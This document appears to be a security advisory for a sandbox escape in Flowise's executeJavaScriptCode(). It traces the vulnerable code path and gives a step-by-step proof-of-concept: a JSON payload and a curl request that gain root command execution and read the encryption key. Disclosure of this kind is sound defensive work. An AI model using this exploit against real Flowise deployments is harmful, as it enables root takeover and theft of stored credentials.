| Package | Affected versions | Patched versions |
|---|---|---|
| flowise | < 3.1.3 | 3.1.3 |
| flowise | < 3.1.3 | 3.1.3 |
| flowise-components | < 3.1.3 | 3.1.3 |
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the
default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.
The vulnerability is in packages/components/src/utils.ts at line 1755:
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}
The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)
Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)
Taint 03: Service
executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)
Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)
Taint 05: Escape
Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself
Taint 06: Override
The attacker calls executeJavaScriptCode() with , which overrides the security defaults at line 1755:
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Scan my site freenodeVMOptions: { require: { builtin: ["*"] } }{ ...defaultNodeVMOptions, ...nodeVMOptions }Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.
Step 1: Start Flowise
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}
Step 2: Obtain Bearer Token
Register an account, then create an API key:
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below.
Step 3: Create Payload
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOF
Step 4: Exploit
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent
access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.